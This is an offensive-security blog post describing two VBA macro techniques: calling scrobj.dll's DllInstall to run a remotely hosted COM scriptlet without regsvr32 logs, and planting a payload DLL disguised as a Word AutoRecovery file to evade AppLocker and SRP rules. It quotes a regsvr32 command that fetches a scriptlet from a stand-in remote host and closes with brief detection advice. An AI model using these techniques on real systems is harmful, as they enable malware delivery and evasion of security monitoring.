DLL Tricks with VBA to Improve Offensive Macro Capability
on 16 May, 2017
Much of the recent research around the use of DLLs within VBA has focused on a narrow subset of its functionality; in particular, how it can be used to inject shellcode into currently running processes. This post details some additional techniques for exploiting the way that VBA can interact with DLLs to improve offensive macro capability. The techniques described are:
- Using DLLs that already exist on disk – performing Casey Smith’s (@SubTee) regsvr32 technique without regsvr32.
- Using DLLs that you store on disk – “impersonating” legitimate files that an Office program would already store to disk, but which are really DLLs.
Remote COM Scriptlets Without regsvr32
One of the application whitelisting bypass techniques identified by Casey Smith involves the Microsoft signed binary regsvr32. regsvr32 is used for registering and unregistering OLE controls (e.g., DLLs and ActiveX).
In brief, regsvr32 can retrieve a remotely hosted COM scriptlet over HTTP, which can contain code that gets executed on registration or unregistration. One quirk of regsvr32 is that registration and unregistration can be performed at the same time, so nothing is left registered after regsvr32 exits.
As it is a Microsoft signed binary it can be used to bypass application whitelisting. For this reason, along with its ability to host its core payload in a second stage, it has become increasingly popular with attackers. The command put forward by Casey Smith for using regsvr32 in this manner is as follows:
regsvr32 /s /n /u /i:http://someinconspicuoussite.com/file.sct scrobj.dll
The "/u /i:..." flags with regsvr32 say call an exported DLL function within scrobj.dll named DllInstall ("/i") and then unregister it ("/u"). Given that there is two flags, it would be reasonable to assume that this is two actions; however, this is not the case. It is important to note firstly that DllInstall is different to DllRegisterServer which is more commonly used. The two are similar in functionality, but the former is able to take a pointer to a string as an argument to enable a "customised", non-generic registration. This string is the argument of “/i”. In the case of scrobj.dll, this string can point to a HTTP resource containing the COM scriptlet. The unregistration component of this command involves simply setting a boolean argument to false when DllInstall is called which changes the context of its functionality to "uninstall". regsvr32 is therefore only acting as a front end for calling exported functions in DLLs.
Through declaring a single function in VBA that maps to the exported DllInstall function in scrobj.dll, we can mimic regsvr32’s functionality. This exported function requires two parameters: false (uninstall), and the pointer to the string with the URL of the COM scriplet.
The result is command execution, but most importantly, no command line event logs for regsvr32 use, as it doesn't get executed. This has significant benefits for an attacker, as event logs for regsvr32 which contain a parameter containing a remote resource, are a strong indicator of malicious activity for security monitoring teams.
An attacker will still need to spawn a new process or inject into an existing process using the second stage otherwise any C2 channel will be lost as soon as the Office program is closed. This cannot be avoided; however, that’s done already, for example, within standard regsvr32 payloads in Cobalt Strike, so these can just be used directly within the VBA function call.
Storing Seemingly “Legitimate” Office Files That Are Really DLLs
Placing files on the disk increases the risk of detection as such files are typically anomalous to what the process would normally be creating. However, using VBA it is possible to create and interact with a DLL that is a seemingly legitimate file (from casual observation) for the Office program. Two things are key to this technique.
First, the DLL should be stored in a location where the Office program process would be creating files as part of normal practice. In the example below, a Word macro is used to store a DLL where auto recovery files are stored (“%appdata%\Microsoft\Word”). Such files are created when Word crashes. More importantly, however, the file stored here should use the same files name and extension that an auto recovery file would (e.g., “AutoRecovery save of Document3.asd”). It is possible to name the file in this manner because Word does not whitelist valid extensions for DLLs.
Second, interacting with a custom DLL is problematic, as VBA requires that function definitions that are mapped to exported functions in DLLs are defined at the beginning of a module prior to any other code, and the DLL must already exist at definition time (which cannot be the case if the VBA code itself stores it to disk). It is possible to get around this using a second VBA module that contains the definition. The first module creates the DLL and then invokes a subroutine in the second module, which accesses the exported DLL function. An obstacle that must be overcome as part of this process is loading the DLL from a location seemingly outside of the ordinary DLL search path. When referencing the stored DLL in the function definition you cannot specify an absolute path (as you do not know the victim’s username beforehand) and the path cannot contain environment variables (e.g., “%appdata%”). You are therefore limited to specifying the filename as though it is in the current working directory, which is not where it was stored. To circumvent this there is a VBA function that allows you to change VBA’s perceived working directory, which does accept environment variables. This is invoked in the first module, and the modified working directory persists when the second module is called. The DLL is can then be loaded when required in a manner that follows that standard search path.
To summarise, the first module retrieves and stores the DLL to disk with a filename and non-DLL extension that impersonates a file that the process would normally create, and then changes VBA’s current working directory to where the DLL was stored. The example below shows Word retrieving the file over HTTP. It could be included in the body of the VBA itself, but for code simplicity, and for testing purposes, it’s described here as being over HTTP. This is shown below with detailed comments provided inline.
The second module is the one that invokes the exported function from the DLL. The modified current working directory is carried over to the second module, and the DLL is referenced without specifying an absolute path. A subroutine can then call the exported function (here "Run").
In the example above, it was being used to find a way to get Unmanaged PowerShell working through VBA, but the DLL could conceivably contain any payload in the exported function.
It should also be noted that neither Software Restriction Policies (SRPs) nor AppLocker's "DLL Rules" with default rulesets will protect against this. SRPs work on the basis of blacklisted file extensions, and AppLocker's "DLL Rules" is limited to two file extensions (".dll" and ".ocx"). In the case of SRPs this approach could not be blocked without breaking auto recovery functionality, and in the case of AppLocker, the extension used does not match those covered by "DLL Rules".
Although the techniques presented above provide a means for attackers to avoid certain protective and detective controls, there continues to be many opportunities for detection.
From the endpoint perspective, command line event logs remain important. The first technique presented here may circumvent controls looking for anomalous regsvr32 use; however, it is conceivable that activities within the second stage may leave artefacts. Furthermore, deploying Endpoint Detection and Response (EDR) solutions with strong memory analysis capabilities will aid in detecting second stage payloads that use techniques such as DLL injection to persist within other processes.